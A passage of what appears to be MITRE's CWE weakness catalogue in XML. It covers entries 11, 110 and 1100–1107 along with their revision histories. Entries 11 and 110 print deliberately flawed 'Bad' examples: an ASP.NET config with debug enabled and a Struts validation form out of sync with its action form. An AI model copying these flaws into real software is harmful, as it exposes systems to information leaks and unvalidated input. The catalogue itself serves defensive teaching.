					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="11" Name="ASP.NET Misconfiguration: Creating Debug Binary" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Debugging messages help attackers learn about the system and plan a form of attack.</Description>
         <Extended_Description>ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="489" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="ASP.NET" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>The debug attribute of the &lt;compilation&gt; tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Build and Compilation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;?xml version="1.0" encoding="utf-8" ?&gt;<xhtml:br/>&lt;configuration&gt;<xhtml:div style="margin-left:1em;">&lt;system.web&gt;<xhtml:div style="margin-left:1em;">&lt;compilation<xhtml:br/>defaultLanguage="c#"<xhtml:br/>debug="true"<xhtml:br/>/&gt;<xhtml:br/>...</xhtml:div>&lt;/system.web&gt;</xhtml:div>&lt;/configuration&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Change the debug mode to false when the application is deployed into production.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>ASP.NET Misconfiguration: Creating Debug Binary</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="110" Name="Struts: Validator Without Form Field" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.</Description>
         <Extended_Description>
            <xhtml:p>It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.</xhtml:p>
            <xhtml:p>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1164" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis</Method>
               <Description>To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This example shows an inconsistency between an action form and a validation form. with a third field.</Intro_Text>
               <Body_Text>This first block of code shows an action form that has two fields, startDate and endDate.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class DateRangeForm extends ValidatorForm {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String startDate, endDate;<xhtml:br/>
                           <xhtml:br/>public void setStartDate(String startDate) {<xhtml:div style="margin-left:1em;">this.startDate = startDate;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public void setEndDate(String endDate) {<xhtml:div style="margin-left:1em;">this.endDate = endDate;</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This second block of related code shows a validation form with a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.</Body_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;form name="DateRangeForm"&gt;<xhtml:div style="margin-left:1em;">&lt;field property="startDate" depends="date"&gt;<xhtml:div style="margin-left:1em;">&lt;arg0 key="start.date"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="endDate" depends="date"&gt;<xhtml:div style="margin-left:1em;">&lt;arg0 key="end.date"/&gt;</xhtml:div>&lt;/field&gt;<xhtml:br/>&lt;field property="scale" depends="integer"&gt;<xhtml:div style="margin-left:1em;">&lt;arg0 key="range.scale"/&gt;</xhtml:div>&lt;/field&gt;</xhtml:div>&lt;/form&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Validator Without Form Field</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1100" Name="Insufficient Isolation of System-Dependent Functions" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product or code does not isolate system-dependent
					functionality into separate standalone modules.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain and/or port the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1061" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1101" Name="Reliance on Runtime Component in Generated Code" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses automatically-generated code that cannot be
					executed without a specific runtime support component.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1102" Name="Reliance on Machine-Dependent Data Representation" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code uses a data representation that relies on low-level
					data representation or constructs that may vary across different processors,
					physical machines, OSes, or other physical components.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain and/or port the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="758" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="1105" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1103" Name="Use of Platform-Dependent Third Party Components" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product relies on third-party components that do
					not provide equivalent functionality across all desirable
					platforms.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="758" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1104" Name="Use of Unmaintained Third Party Components" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product relies on third-party components that are not
					actively supported or maintained by the original developer or a trusted proxy
					for the original developer.</Description>
         <Extended_Description><xhtml:p>Reliance on components that are no longer maintained can make it difficult or impossible to fix significant bugs, vulnerabilities, or quality issues. In effect, unmaintained code can become obsolete.</xhtml:p>
<xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1357" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
		 <Applicable_Platforms>
		   <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
		   <Technology Class="ICS/OT" Prevalence="Undetermined"/>
		 </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-1212"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1105" Name="Insufficient Encapsulation of Machine-Dependent Functionality" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product or code uses machine-dependent functionality, but
					it does not sufficiently encapsulate or isolate this functionality from
					the rest of the code.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to port or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="758" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="1061" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1106" Name="Insufficient Use of Symbolic Constants" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The source code uses literal constants that may need to change
					or evolve over time, instead of using symbolic constants.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1107" Name="Insufficient Isolation of Symbolic Constant Definitions" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The source code uses symbolic constants, but it does not
					sufficiently place the definitions of these constants into a more centralized or
					isolated location.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1078" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
